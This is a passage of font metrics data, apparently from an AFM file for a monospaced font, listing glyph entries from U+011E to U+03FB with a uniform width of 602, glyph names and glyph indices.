U 286 ; WX 602 ; N Gbreve ; G 224
U 287 ; WX 602 ; N gbreve ; G 225
U 288 ; WX 602 ; N Gdotaccent ; G 226
U 289 ; WX 602 ; N gdotaccent ; G 227
U 290 ; WX 602 ; N Gcommaaccent ; G 228
U 291 ; WX 602 ; N gcommaaccent ; G 229
U 292 ; WX 602 ; N Hcircumflex ; G 230
U 293 ; WX 602 ; N hcircumflex ; G 231
U 294 ; WX 602 ; N Hbar ; G 232
U 295 ; WX 602 ; N hbar ; G 233
U 296 ; WX 602 ; N Itilde ; G 234
U 297 ; WX 602 ; N itilde ; G 235
U 298 ; WX 602 ; N Imacron ; G 236
U 299 ; WX 602 ; N imacron ; G 237
U 300 ; WX 602 ; N Ibreve ; G 238
U 301 ; WX 602 ; N ibreve ; G 239
U 302 ; WX 602 ; N Iogonek ; G 240
U 303 ; WX 602 ; N iogonek ; G 241
U 304 ; WX 602 ; N Idot ; G 242
U 305 ; WX 602 ; N dotlessi ; G 243
U 306 ; WX 602 ; N IJ ; G 244
U 307 ; WX 602 ; N ij ; G 245
U 308 ; WX 602 ; N Jcircumflex ; G 246
U 309 ; WX 602 ; N jcircumflex ; G 247
U 310 ; WX 602 ; N Kcommaaccent ; G 248
U 311 ; WX 602 ; N kcommaaccent ; G 249
U 312 ; WX 602 ; N kgreenlandic ; G 250
U 313 ; WX 602 ; N Lacute ; G 251
U 314 ; WX 602 ; N lacute ; G 252
U 315 ; WX 602 ; N Lcommaaccent ; G 253
U 316 ; WX 602 ; N lcommaaccent ; G 254
U 317 ; WX 602 ; N Lcaron ; G 255
U 318 ; WX 602 ; N lcaron ; G 256
U 319 ; WX 602 ; N Ldot ; G 257
U 320 ; WX 602 ; N ldot ; G 258
U 321 ; WX 602 ; N Lslash ; G 259
U 322 ; WX 602 ; N lslash ; G 260
U 323 ; WX 602 ; N Nacute ; G 261
U 324 ; WX 602 ; N nacute ; G 262
U 325 ; WX 602 ; N Ncommaaccent ; G 263
U 326 ; WX 602 ; N ncommaaccent ; G 264
U 327 ; WX 602 ; N Ncaron ; G 265
U 328 ; WX 602 ; N ncaron ; G 266
U 329 ; WX 602 ; N napostrophe ; G 267
U 330 ; WX 602 ; N Eng ; G 268
U 331 ; WX 602 ; N eng ; G 269
U 332 ; WX 602 ; N Omacron ; G 270
U 333 ; WX 602 ; N omacron ; G 271
U 334 ; WX 602 ; N Obreve ; G 272
U 335 ; WX 602 ; N obreve ; G 273
U 336 ; WX 602 ; N Ohungarumlaut ; G 274
U 337 ; WX 602 ; N ohungarumlaut ; G 275
U 338 ; WX 602 ; N OE ; G 276
U 339 ; WX 602 ; N oe ; G 277
U 340 ; WX 602 ; N Racute ; G 278
U 341 ; WX 602 ; N racute ; G 279
U 342 ; WX 602 ; N Rcommaaccent ; G 280
U 343 ; WX 602 ; N rcommaaccent ; G 281
U 344 ; WX 602 ; N Rcaron ; G 282
U 345 ; WX 602 ; N rcaron ; G 283
U 346 ; WX 602 ; N Sacute ; G 284
U 347 ; WX 602 ; N sacute ; G 285
U 348 ; WX 602 ; N Scircumflex ; G 286
U 349 ; WX 602 ; N scircumflex ; G 287
U 350 ; WX 602 ; N Scedilla ; G 288
U 351 ; WX 602 ; N scedilla ; G 289
U 352 ; WX 602 ; N Scaron ; G 290
U 353 ; WX 602 ; N scaron ; G 291
U 354 ; WX 602 ; N Tcommaaccent ; G 292
U 355 ; WX 602 ; N tcommaaccent ; G 293
U 356 ; WX 602 ; N Tcaron ; G 294
U 357 ; WX 602 ; N tcaron ; G 295
U 358 ; WX 602 ; N Tbar ; G 296
U 359 ; WX 602 ; N tbar ; G 297
U 360 ; WX 602 ; N Utilde ; G 298
U 361 ; WX 602 ; N utilde ; G 299
U 362 ; WX 602 ; N Umacron ; G 300
U 363 ; WX 602 ; N umacron ; G 301
U 364 ; WX 602 ; N Ubreve ; G 302
U 365 ; WX 602 ; N ubreve ; G 303
U 366 ; WX 602 ; N Uring ; G 304
U 367 ; WX 602 ; N uring ; G 305
U 368 ; WX 602 ; N Uhungarumlaut ; G 306
U 369 ; WX 602 ; N uhungarumlaut ; G 307
U 370 ; WX 602 ; N Uogonek ; G 308
U 371 ; WX 602 ; N uogonek ; G 309
U 372 ; WX 602 ; N Wcircumflex ; G 310
U 373 ; WX 602 ; N wcircumflex ; G 311
U 374 ; WX 602 ; N Ycircumflex ; G 312
U 375 ; WX 602 ; N ycircumflex ; G 313
U 376 ; WX 602 ; N Ydieresis ; G 314
U 377 ; WX 602 ; N Zacute ; G 315
U 378 ; WX 602 ; N zacute ; G 316
U 379 ; WX 602 ; N Zdotaccent ; G 317
U 380 ; WX 602 ; N zdotaccent ; G 318
U 381 ; WX 602 ; N Zcaron ; G 319
U 382 ; WX 602 ; N zcaron ; G 320
U 383 ; WX 602 ; N longs ; G 321
U 384 ; WX 602 ; N uni0180 ; G 322
U 385 ; WX 602 ; N uni0181 ; G 323
U 386 ; WX 602 ; N uni0182 ; G 324
U 387 ; WX 602 ; N uni0183 ; G 325
U 388 ; WX 602 ; N uni0184 ; G 326
U 389 ; WX 602 ; N uni0185 ; G 327
U 390 ; WX 602 ; N uni0186 ; G 328
U 391 ; WX 602 ; N uni0187 ; G 329
U 392 ; WX 602 ; N uni0188 ; G 330
U 393 ; WX 602 ; N uni0189 ; G 331
U 394 ; WX 602 ; N uni018A ; G 332
U 395 ; WX 602 ; N uni018B ; G 333
U 396 ; WX 602 ; N uni018C ; G 334
U 397 ; WX 602 ; N uni018D ; G 335
U 398 ; WX 602 ; N uni018E ; G 336
U 399 ; WX 602 ; N uni018F ; G 337
U 400 ; WX 602 ; N uni0190 ; G 338
U 401 ; WX 602 ; N uni0191 ; G 339
U 402 ; WX 602 ; N florin ; G 340
U 403 ; WX 602 ; N uni0193 ; G 341
U 404 ; WX 602 ; N uni0194 ; G 342
U 405 ; WX 602 ; N uni0195 ; G 343
U 406 ; WX 602 ; N uni0196 ; G 344
U 407 ; WX 602 ; N uni0197 ; G 345
U 408 ; WX 602 ; N uni0198 ; G 346
U 409 ; WX 602 ; N uni0199 ; G 347
U 410 ; WX 602 ; N uni019A ; G 348
U 411 ; WX 602 ; N uni019B ; G 349
U 412 ; WX 602 ; N uni019C ; G 350
U 413 ; WX 602 ; N uni019D ; G 351
U 414 ; WX 602 ; N uni019E ; G 352
U 415 ; WX 602 ; N uni019F ; G 353
U 416 ; WX 602 ; N Ohorn ; G 354
U 417 ; WX 602 ; N ohorn ; G 355
U 418 ; WX 602 ; N uni01A2 ; G 356
U 419 ; WX 602 ; N uni01A3 ; G 357
U 420 ; WX 602 ; N uni01A4 ; G 358
U 421 ; WX 602 ; N uni01A5 ; G 359
U 422 ; WX 602 ; N uni01A6 ; G 360
U 423 ; WX 602 ; N uni01A7 ; G 361
U 424 ; WX 602 ; N uni01A8 ; G 362
U 425 ; WX 602 ; N uni01A9 ; G 363
U 426 ; WX 602 ; N uni01AA ; G 364
U 427 ; WX 602 ; N uni01AB ; G 365
U 428 ; WX 602 ; N uni01AC ; G 366
U 429 ; WX 602 ; N uni01AD ; G 367
U 430 ; WX 602 ; N uni01AE ; G 368
U 431 ; WX 602 ; N Uhorn ; G 369
U 432 ; WX 602 ; N uhorn ; G 370
U 433 ; WX 602 ; N uni01B1 ; G 371
U 434 ; WX 602 ; N uni01B2 ; G 372
U 435 ; WX 602 ; N uni01B3 ; G 373
U 436 ; WX 602 ; N uni01B4 ; G 374
U 437 ; WX 602 ; N uni01B5 ; G 375
U 438 ; WX 602 ; N uni01B6 ; G 376
U 439 ; WX 602 ; N uni01B7 ; G 377
U 440 ; WX 602 ; N uni01B8 ; G 378
U 441 ; WX 602 ; N uni01B9 ; G 379
U 442 ; WX 602 ; N uni01BA ; G 380
U 443 ; WX 602 ; N uni01BB ; G 381
U 444 ; WX 602 ; N uni01BC ; G 382
U 445 ; WX 602 ; N uni01BD ; G 383
U 446 ; WX 602 ; N uni01BE ; G 384
U 447 ; WX 602 ; N uni01BF ; G 385
U 448 ; WX 602 ; N uni01C0 ; G 386
U 449 ; WX 602 ; N uni01C1 ; G 387
U 450 ; WX 602 ; N uni01C2 ; G 388
U 451 ; WX 602 ; N uni01C3 ; G 389
U 461 ; WX 602 ; N uni01CD ; G 390
U 462 ; WX 602 ; N uni01CE ; G 391
U 463 ; WX 602 ; N uni01CF ; G 392
U 464 ; WX 602 ; N uni01D0 ; G 393
U 465 ; WX 602 ; N uni01D1 ; G 394
U 466 ; WX 602 ; N uni01D2 ; G 395
U 467 ; WX 602 ; N uni01D3 ; G 396
U 468 ; WX 602 ; N uni01D4 ; G 397
U 469 ; WX 602 ; N uni01D5 ; G 398
U 470 ; WX 602 ; N uni01D6 ; G 399
U 471 ; WX 602 ; N uni01D7 ; G 400
U 472 ; WX 602 ; N uni01D8 ; G 401
U 473 ; WX 602 ; N uni01D9 ; G 402
U 474 ; WX 602 ; N uni01DA ; G 403
U 475 ; WX 602 ; N uni01DB ; G 404
U 476 ; WX 602 ; N uni01DC ; G 405
U 477 ; WX 602 ; N uni01DD ; G 406
U 478 ; WX 602 ; N uni01DE ; G 407
U 479 ; WX 602 ; N uni01DF ; G 408
U 480 ; WX 602 ; N uni01E0 ; G 409
U 481 ; WX 602 ; N uni01E1 ; G 410
U 482 ; WX 602 ; N uni01E2 ; G 411
U 483 ; WX 602 ; N uni01E3 ; G 412
U 486 ; WX 602 ; N Gcaron ; G 413
U 487 ; WX 602 ; N gcaron ; G 414
U 488 ; WX 602 ; N uni01E8 ; G 415
U 489 ; WX 602 ; N uni01E9 ; G 416
U 490 ; WX 602 ; N uni01EA ; G 417
U 491 ; WX 602 ; N uni01EB ; G 418
U 492 ; WX 602 ; N uni01EC ; G 419
U 493 ; WX 602 ; N uni01ED ; G 420
U 494 ; WX 602 ; N uni01EE ; G 421
U 495 ; WX 602 ; N uni01EF ; G 422
U 496 ; WX 602 ; N uni01F0 ; G 423
U 500 ; WX 602 ; N uni01F4 ; G 424
U 501 ; WX 602 ; N uni01F5 ; G 425
U 502 ; WX 602 ; N uni01F6 ; G 426
U 504 ; WX 602 ; N uni01F8 ; G 427
U 505 ; WX 602 ; N uni01F9 ; G 428
U 508 ; WX 602 ; N AEacute ; G 429
U 509 ; WX 602 ; N aeacute ; G 430
U 510 ; WX 602 ; N Oslashacute ; G 431
U 511 ; WX 602 ; N oslashacute ; G 432
U 512 ; WX 602 ; N uni0200 ; G 433
U 513 ; WX 602 ; N uni0201 ; G 434
U 514 ; WX 602 ; N uni0202 ; G 435
U 515 ; WX 602 ; N uni0203 ; G 436
U 516 ; WX 602 ; N uni0204 ; G 437
U 517 ; WX 602 ; N uni0205 ; G 438
U 518 ; WX 602 ; N uni0206 ; G 439
U 519 ; WX 602 ; N uni0207 ; G 440
U 520 ; WX 602 ; N uni0208 ; G 441
U 521 ; WX 602 ; N uni0209 ; G 442
U 522 ; WX 602 ; N uni020A ; G 443
U 523 ; WX 602 ; N uni020B ; G 444
U 524 ; WX 602 ; N uni020C ; G 445
U 525 ; WX 602 ; N uni020D ; G 446
U 526 ; WX 602 ; N uni020E ; G 447
U 527 ; WX 602 ; N uni020F ; G 448
U 528 ; WX 602 ; N uni0210 ; G 449
U 529 ; WX 602 ; N uni0211 ; G 450
U 530 ; WX 602 ; N uni0212 ; G 451
U 531 ; WX 602 ; N uni0213 ; G 452
U 532 ; WX 602 ; N uni0214 ; G 453
U 533 ; WX 602 ; N uni0215 ; G 454
U 534 ; WX 602 ; N uni0216 ; G 455
U 535 ; WX 602 ; N uni0217 ; G 456
U 536 ; WX 602 ; N Scommaaccent ; G 457
U 537 ; WX 602 ; N scommaaccent ; G 458
U 538 ; WX 602 ; N uni021A ; G 459
U 539 ; WX 602 ; N uni021B ; G 460
U 540 ; WX 602 ; N uni021C ; G 461
U 541 ; WX 602 ; N uni021D ; G 462
U 542 ; WX 602 ; N uni021E ; G 463
U 543 ; WX 602 ; N uni021F ; G 464
U 544 ; WX 602 ; N uni0220 ; G 465
U 545 ; WX 602 ; N uni0221 ; G 466
U 548 ; WX 602 ; N uni0224 ; G 467
U 549 ; WX 602 ; N uni0225 ; G 468
U 550 ; WX 602 ; N uni0226 ; G 469
U 551 ; WX 602 ; N uni0227 ; G 470
U 552 ; WX 602 ; N uni0228 ; G 471
U 553 ; WX 602 ; N uni0229 ; G 472
U 554 ; WX 602 ; N uni022A ; G 473
U 555 ; WX 602 ; N uni022B ; G 474
U 556 ; WX 602 ; N uni022C ; G 475
U 557 ; WX 602 ; N uni022D ; G 476
U 558 ; WX 602 ; N uni022E ; G 477
U 559 ; WX 602 ; N uni022F ; G 478
U 560 ; WX 602 ; N uni0230 ; G 479
U 561 ; WX 602 ; N uni0231 ; G 480
U 562 ; WX 602 ; N uni0232 ; G 481
U 563 ; WX 602 ; N uni0233 ; G 482
U 564 ; WX 602 ; N uni0234 ; G 483
U 565 ; WX 602 ; N uni0235 ; G 484
U 566 ; WX 602 ; N uni0236 ; G 485
U 567 ; WX 602 ; N dotlessj ; G 486
U 568 ; WX 602 ; N uni0238 ; G 487
U 569 ; WX 602 ; N uni0239 ; G 488
U 570 ; WX 602 ; N uni023A ; G 489
U 571 ; WX 602 ; N uni023B ; G 490
U 572 ; WX 602 ; N uni023C ; G 491
U 573 ; WX 602 ; N uni023D ; G 492
U 574 ; WX 602 ; N uni023E ; G 493
U 575 ; WX 602 ; N uni023F ; G 494
U 576 ; WX 602 ; N uni0240 ; G 495
U 577 ; WX 602 ; N uni0241 ; G 496
U 579 ; WX 602 ; N uni0243 ; G 497
U 580 ; WX 602 ; N uni0244 ; G 498
U 581 ; WX 602 ; N uni0245 ; G 499
U 588 ; WX 602 ; N uni024C ; G 500
U 589 ; WX 602 ; N uni024D ; G 501
U 592 ; WX 602 ; N uni0250 ; G 502
U 593 ; WX 602 ; N uni0251 ; G 503
U 594 ; WX 602 ; N uni0252 ; G 504
U 595 ; WX 602 ; N uni0253 ; G 505
U 596 ; WX 602 ; N uni0254 ; G 506
U 597 ; WX 602 ; N uni0255 ; G 507
U 598 ; WX 602 ; N uni0256 ; G 508
U 599 ; WX 602 ; N uni0257 ; G 509
U 600 ; WX 602 ; N uni0258 ; G 510
U 601 ; WX 602 ; N uni0259 ; G 511
U 602 ; WX 602 ; N uni025A ; G 512
U 603 ; WX 602 ; N uni025B ; G 513
U 604 ; WX 602 ; N uni025C ; G 514
U 605 ; WX 602 ; N uni025D ; G 515
U 606 ; WX 602 ; N uni025E ; G 516
U 607 ; WX 602 ; N uni025F ; G 517
U 608 ; WX 602 ; N uni0260 ; G 518
U 609 ; WX 602 ; N uni0261 ; G 519
U 610 ; WX 602 ; N uni0262 ; G 520
U 611 ; WX 602 ; N uni0263 ; G 521
U 612 ; WX 602 ; N uni0264 ; G 522
U 613 ; WX 602 ; N uni0265 ; G 523
U 614 ; WX 602 ; N uni0266 ; G 524
U 615 ; WX 602 ; N uni0267 ; G 525
U 616 ; WX 602 ; N uni0268 ; G 526
U 617 ; WX 602 ; N uni0269 ; G 527
U 618 ; WX 602 ; N uni026A ; G 528
U 619 ; WX 602 ; N uni026B ; G 529
U 620 ; WX 602 ; N uni026C ; G 530
U 621 ; WX 602 ; N uni026D ; G 531
U 622 ; WX 602 ; N uni026E ; G 532
U 623 ; WX 602 ; N uni026F ; G 533
U 624 ; WX 602 ; N uni0270 ; G 534
U 625 ; WX 602 ; N uni0271 ; G 535
U 626 ; WX 602 ; N uni0272 ; G 536
U 627 ; WX 602 ; N uni0273 ; G 537
U 628 ; WX 602 ; N uni0274 ; G 538
U 629 ; WX 602 ; N uni0275 ; G 539
U 630 ; WX 602 ; N uni0276 ; G 540
U 631 ; WX 602 ; N uni0277 ; G 541
U 632 ; WX 602 ; N uni0278 ; G 542
U 633 ; WX 602 ; N uni0279 ; G 543
U 634 ; WX 602 ; N uni027A ; G 544
U 635 ; WX 602 ; N uni027B ; G 545
U 636 ; WX 602 ; N uni027C ; G 546
U 637 ; WX 602 ; N uni027D ; G 547
U 638 ; WX 602 ; N uni027E ; G 548
U 639 ; WX 602 ; N uni027F ; G 549
U 640 ; WX 602 ; N uni0280 ; G 550
U 641 ; WX 602 ; N uni0281 ; G 551
U 642 ; WX 602 ; N uni0282 ; G 552
U 643 ; WX 602 ; N uni0283 ; G 553
U 644 ; WX 602 ; N uni0284 ; G 554
U 645 ; WX 602 ; N uni0285 ; G 555
U 646 ; WX 602 ; N uni0286 ; G 556
U 647 ; WX 602 ; N uni0287 ; G 557
U 648 ; WX 602 ; N uni0288 ; G 558
U 649 ; WX 602 ; N uni0289 ; G 559
U 650 ; WX 602 ; N uni028A ; G 560
U 651 ; WX 602 ; N uni028B ; G 561
U 652 ; WX 602 ; N uni028C ; G 562
U 653 ; WX 602 ; N uni028D ; G 563
U 654 ; WX 602 ; N uni028E ; G 564
U 655 ; WX 602 ; N uni028F ; G 565
U 656 ; WX 602 ; N uni0290 ; G 566
U 657 ; WX 602 ; N uni0291 ; G 567
U 658 ; WX 602 ; N uni0292 ; G 568
U 659 ; WX 602 ; N uni0293 ; G 569
U 660 ; WX 602 ; N uni0294 ; G 570
U 661 ; WX 602 ; N uni0295 ; G 571
U 662 ; WX 602 ; N uni0296 ; G 572
U 663 ; WX 602 ; N uni0297 ; G 573
U 664 ; WX 602 ; N uni0298 ; G 574
U 665 ; WX 602 ; N uni0299 ; G 575
U 666 ; WX 602 ; N uni029A ; G 576
U 667 ; WX 602 ; N uni029B ; G 577
U 668 ; WX 602 ; N uni029C ; G 578
U 669 ; WX 602 ; N uni029D ; G 579
U 670 ; WX 602 ; N uni029E ; G 580
U 671 ; WX 602 ; N uni029F ; G 581
U 672 ; WX 602 ; N uni02A0 ; G 582
U 673 ; WX 602 ; N uni02A1 ; G 583
U 674 ; WX 602 ; N uni02A2 ; G 584
U 675 ; WX 602 ; N uni02A3 ; G 585
U 676 ; WX 602 ; N uni02A4 ; G 586
U 677 ; WX 602 ; N uni02A5 ; G 587
U 678 ; WX 602 ; N uni02A6 ; G 588
U 679 ; WX 602 ; N uni02A7 ; G 589
U 680 ; WX 602 ; N uni02A8 ; G 590
U 681 ; WX 602 ; N uni02A9 ; G 591
U 682 ; WX 602 ; N uni02AA ; G 592
U 683 ; WX 602 ; N uni02AB ; G 593
U 684 ; WX 602 ; N uni02AC ; G 594
U 685 ; WX 602 ; N uni02AD ; G 595
U 686 ; WX 602 ; N uni02AE ; G 596
U 687 ; WX 602 ; N uni02AF ; G 597
U 688 ; WX 602 ; N uni02B0 ; G 598
U 689 ; WX 602 ; N uni02B1 ; G 599
U 690 ; WX 602 ; N uni02B2 ; G 600
U 691 ; WX 602 ; N uni02B3 ; G 601
U 692 ; WX 602 ; N uni02B4 ; G 602
U 693 ; WX 602 ; N uni02B5 ; G 603
U 694 ; WX 602 ; N uni02B6 ; G 604
U 695 ; WX 602 ; N uni02B7 ; G 605
U 696 ; WX 602 ; N uni02B8 ; G 606
U 697 ; WX 602 ; N uni02B9 ; G 607
U 699 ; WX 602 ; N uni02BB ; G 608
U 700 ; WX 602 ; N uni02BC ; G 609
U 701 ; WX 602 ; N uni02BD ; G 610
U 702 ; WX 602 ; N uni02BE ; G 611
U 703 ; WX 602 ; N uni02BF ; G 612
U 704 ; WX 602 ; N uni02C0 ; G 613
U 705 ; WX 602 ; N uni02C1 ; G 614
U 710 ; WX 602 ; N circumflex ; G 615
U 711 ; WX 602 ; N caron ; G 616
U 712 ; WX 602 ; N uni02C8 ; G 617
U 713 ; WX 602 ; N uni02C9 ; G 618
U 716 ; WX 602 ; N uni02CC ; G 619
U 717 ; WX 602 ; N uni02CD ; G 620
U 718 ; WX 602 ; N uni02CE ; G 621
U 719 ; WX 602 ; N uni02CF ; G 622
U 720 ; WX 602 ; N uni02D0 ; G 623
U 721 ; WX 602 ; N uni02D1 ; G 624
U 722 ; WX 602 ; N uni02D2 ; G 625
U 723 ; WX 602 ; N uni02D3 ; G 626
U 726 ; WX 602 ; N uni02D6 ; G 627
U 727 ; WX 602 ; N uni02D7 ; G 628
U 728 ; WX 602 ; N breve ; G 629
U 729 ; WX 602 ; N dotaccent ; G 630
U 730 ; WX 602 ; N ring ; G 631
U 731 ; WX 602 ; N ogonek ; G 632
U 732 ; WX 602 ; N tilde ; G 633
U 733 ; WX 602 ; N hungarumlaut ; G 634
U 734 ; WX 602 ; N uni02DE ; G 635
U 736 ; WX 602 ; N uni02E0 ; G 636
U 737 ; WX 602 ; N uni02E1 ; G 637
U 738 ; WX 602 ; N uni02E2 ; G 638
U 739 ; WX 602 ; N uni02E3 ; G 639
U 740 ; WX 602 ; N uni02E4 ; G 640
U 741 ; WX 602 ; N uni02E5 ; G 641
U 742 ; WX 602 ; N uni02E6 ; G 642
U 743 ; WX 602 ; N uni02E7 ; G 643
U 744 ; WX 602 ; N uni02E8 ; G 644
U 745 ; WX 602 ; N uni02E9 ; G 645
U 750 ; WX 602 ; N uni02EE ; G 646
U 755 ; WX 602 ; N uni02F3 ; G 647
U 768 ; WX 602 ; N gravecomb ; G 648
U 769 ; WX 602 ; N acutecomb ; G 649
U 770 ; WX 602 ; N uni0302 ; G 650
U 771 ; WX 602 ; N tildecomb ; G 651
U 772 ; WX 602 ; N uni0304 ; G 652
U 773 ; WX 602 ; N uni0305 ; G 653
U 774 ; WX 602 ; N uni0306 ; G 654
U 775 ; WX 602 ; N uni0307 ; G 655
U 776 ; WX 602 ; N uni0308 ; G 656
U 777 ; WX 602 ; N hookabovecomb ; G 657
U 778 ; WX 602 ; N uni030A ; G 658
U 779 ; WX 602 ; N uni030B ; G 659
U 780 ; WX 602 ; N uni030C ; G 660
U 781 ; WX 602 ; N uni030D ; G 661
U 782 ; WX 602 ; N uni030E ; G 662
U 783 ; WX 602 ; N uni030F ; G 663
U 784 ; WX 602 ; N uni0310 ; G 664
U 785 ; WX 602 ; N uni0311 ; G 665
U 786 ; WX 602 ; N uni0312 ; G 666
U 787 ; WX 602 ; N uni0313 ; G 667
U 788 ; WX 602 ; N uni0314 ; G 668
U 789 ; WX 602 ; N uni0315 ; G 669
U 790 ; WX 602 ; N uni0316 ; G 670
U 791 ; WX 602 ; N uni0317 ; G 671
U 792 ; WX 602 ; N uni0318 ; G 672
U 793 ; WX 602 ; N uni0319 ; G 673
U 794 ; WX 602 ; N uni031A ; G 674
U 795 ; WX 602 ; N uni031B ; G 675
U 796 ; WX 602 ; N uni031C ; G 676
U 797 ; WX 602 ; N uni031D ; G 677
U 798 ; WX 602 ; N uni031E ; G 678
U 799 ; WX 602 ; N uni031F ; G 679
U 800 ; WX 602 ; N uni0320 ; G 680
U 801 ; WX 602 ; N uni0321 ; G 681
U 802 ; WX 602 ; N uni0322 ; G 682
U 803 ; WX 602 ; N dotbelowcomb ; G 683
U 804 ; WX 602 ; N uni0324 ; G 684
U 805 ; WX 602 ; N uni0325 ; G 685
U 806 ; WX 602 ; N uni0326 ; G 686
U 807 ; WX 602 ; N uni0327 ; G 687
U 808 ; WX 602 ; N uni0328 ; G 688
U 809 ; WX 602 ; N uni0329 ; G 689
U 810 ; WX 602 ; N uni032A ; G 690
U 811 ; WX 602 ; N uni032B ; G 691
U 812 ; WX 602 ; N uni032C ; G 692
U 813 ; WX 602 ; N uni032D ; G 693
U 814 ; WX 602 ; N uni032E ; G 694
U 815 ; WX 602 ; N uni032F ; G 695
U 816 ; WX 602 ; N uni0330 ; G 696
U 817 ; WX 602 ; N uni0331 ; G 697
U 818 ; WX 602 ; N uni0332 ; G 698
U 819 ; WX 602 ; N uni0333 ; G 699
U 820 ; WX 602 ; N uni0334 ; G 700
U 821 ; WX 602 ; N uni0335 ; G 701
U 822 ; WX 602 ; N uni0336 ; G 702
U 823 ; WX 602 ; N uni0337 ; G 703
U 824 ; WX 602 ; N uni0338 ; G 704
U 825 ; WX 602 ; N uni0339 ; G 705
U 826 ; WX 602 ; N uni033A ; G 706
U 827 ; WX 602 ; N uni033B ; G 707
U 828 ; WX 602 ; N uni033C ; G 708
U 829 ; WX 602 ; N uni033D ; G 709
U 830 ; WX 602 ; N uni033E ; G 710
U 831 ; WX 602 ; N uni033F ; G 711
U 835 ; WX 602 ; N uni0343 ; G 712
U 856 ; WX 602 ; N uni0358 ; G 713
U 865 ; WX 602 ; N uni0361 ; G 714
U 884 ; WX 602 ; N uni0374 ; G 715
U 885 ; WX 602 ; N uni0375 ; G 716
U 886 ; WX 602 ; N uni0376 ; G 717
U 887 ; WX 602 ; N uni0377 ; G 718
U 890 ; WX 602 ; N uni037A ; G 719
U 891 ; WX 602 ; N uni037B ; G 720
U 892 ; WX 602 ; N uni037C ; G 721
U 893 ; WX 602 ; N uni037D ; G 722
U 894 ; WX 602 ; N uni037E ; G 723
U 895 ; WX 602 ; N uni037F ; G 724
U 900 ; WX 602 ; N tonos ; G 725
U 901 ; WX 602 ; N dieresistonos ; G 726
U 902 ; WX 602 ; N Alphatonos ; G 727
U 903 ; WX 602 ; N anoteleia ; G 728
U 904 ; WX 602 ; N Epsilontonos ; G 729
U 905 ; WX 602 ; N Etatonos ; G 730
U 906 ; WX 602 ; N Iotatonos ; G 731
U 908 ; WX 602 ; N Omicrontonos ; G 732
U 910 ; WX 602 ; N Upsilontonos ; G 733
U 911 ; WX 602 ; N Omegatonos ; G 734
U 912 ; WX 602 ; N iotadieresistonos ; G 735
U 913 ; WX 602 ; N Alpha ; G 736
U 914 ; WX 602 ; N Beta ; G 737
U 915 ; WX 602 ; N Gamma ; G 738
U 916 ; WX 602 ; N uni0394 ; G 739
U 917 ; WX 602 ; N Epsilon ; G 740
U 918 ; WX 602 ; N Zeta ; G 741
U 919 ; WX 602 ; N Eta ; G 742
U 920 ; WX 602 ; N Theta ; G 743
U 921 ; WX 602 ; N Iota ; G 744
U 922 ; WX 602 ; N Kappa ; G 745
U 923 ; WX 602 ; N Lambda ; G 746
U 924 ; WX 602 ; N Mu ; G 747
U 925 ; WX 602 ; N Nu ; G 748
U 926 ; WX 602 ; N Xi ; G 749
U 927 ; WX 602 ; N Omicron ; G 750
U 928 ; WX 602 ; N Pi ; G 751
U 929 ; WX 602 ; N Rho ; G 752
U 931 ; WX 602 ; N Sigma ; G 753
U 932 ; WX 602 ; N Tau ; G 754
U 933 ; WX 602 ; N Upsilon ; G 755
U 934 ; WX 602 ; N Phi ; G 756
U 935 ; WX 602 ; N Chi ; G 757
U 936 ; WX 602 ; N Psi ; G 758
U 937 ; WX 602 ; N Omega ; G 759
U 938 ; WX 602 ; N Iotadieresis ; G 760
U 939 ; WX 602 ; N Upsilondieresis ; G 761
U 940 ; WX 602 ; N alphatonos ; G 762
U 941 ; WX 602 ; N epsilontonos ; G 763
U 942 ; WX 602 ; N etatonos ; G 764
U 943 ; WX 602 ; N iotatonos ; G 765
U 944 ; WX 602 ; N upsilondieresistonos ; G 766
U 945 ; WX 602 ; N alpha ; G 767
U 946 ; WX 602 ; N beta ; G 768
U 947 ; WX 602 ; N gamma ; G 769
U 948 ; WX 602 ; N delta ; G 770
U 949 ; WX 602 ; N epsilon ; G 771
U 950 ; WX 602 ; N zeta ; G 772
U 951 ; WX 602 ; N eta ; G 773
U 952 ; WX 602 ; N theta ; G 774
U 953 ; WX 602 ; N iota ; G 775
U 954 ; WX 602 ; N kappa ; G 776
U 955 ; WX 602 ; N lambda ; G 777
U 956 ; WX 602 ; N uni03BC ; G 778
U 957 ; WX 602 ; N nu ; G 779
U 958 ; WX 602 ; N xi ; G 780
U 959 ; WX 602 ; N omicron ; G 781
U 960 ; WX 602 ; N pi ; G 782
U 961 ; WX 602 ; N rho ; G 783
U 962 ; WX 602 ; N sigma1 ; G 784
U 963 ; WX 602 ; N sigma ; G 785
U 964 ; WX 602 ; N tau ; G 786
U 965 ; WX 602 ; N upsilon ; G 787
U 966 ; WX 602 ; N phi ; G 788
U 967 ; WX 602 ; N chi ; G 789
U 968 ; WX 602 ; N psi ; G 790
U 969 ; WX 602 ; N omega ; G 791
U 970 ; WX 602 ; N iotadieresis ; G 792
U 971 ; WX 602 ; N upsilondieresis ; G 793
U 972 ; WX 602 ; N omicrontonos ; G 794
U 973 ; WX 602 ; N upsilontonos ; G 795
U 974 ; WX 602 ; N omegatonos ; G 796
U 976 ; WX 602 ; N uni03D0 ; G 797
U 977 ; WX 602 ; N theta1 ; G 798
U 978 ; WX 602 ; N Upsilon1 ; G 799
U 979 ; WX 602 ; N uni03D3 ; G 800
U 980 ; WX 602 ; N uni03D4 ; G 801
U 981 ; WX 602 ; N phi1 ; G 802
U 982 ; WX 602 ; N omega1 ; G 803
U 983 ; WX 602 ; N uni03D7 ; G 804
U 984 ; WX 602 ; N uni03D8 ; G 805
U 985 ; WX 602 ; N uni03D9 ; G 806
U 986 ; WX 602 ; N uni03DA ; G 807
U 987 ; WX 602 ; N uni03DB ; G 808
U 988 ; WX 602 ; N uni03DC ; G 809
U 989 ; WX 602 ; N uni03DD ; G 810
U 990 ; WX 602 ; N uni03DE ; G 811
U 991 ; WX 602 ; N uni03DF ; G 812
U 992 ; WX 602 ; N uni03E0 ; G 813
U 993 ; WX 602 ; N uni03E1 ; G 814
U 1008 ; WX 602 ; N uni03F0 ; G 815
U 1009 ; WX 602 ; N uni03F1 ; G 816
U 1010 ; WX 602 ; N uni03F2 ; G 817
U 1011 ; WX 602 ; N uni03F3 ; G 818
U 1012 ; WX 602 ; N uni03F4 ; G 819
U 1013 ; WX 602 ; N uni03F5 ; G 820
U 1014 ; WX 602 ; N uni03F6 ; G 821
U 1015 ; WX 602 ; N uni03F7 ; G 822
U 1016 ; WX 602 ; N uni03F8 ; G 823
U 1017 ; WX 602 ; N uni03F9 ; G 824
U 1018 ; WX 602 ; N uni03FA ; G 825
U 1019 ; WX 602 ; N uni03FB ; G 826
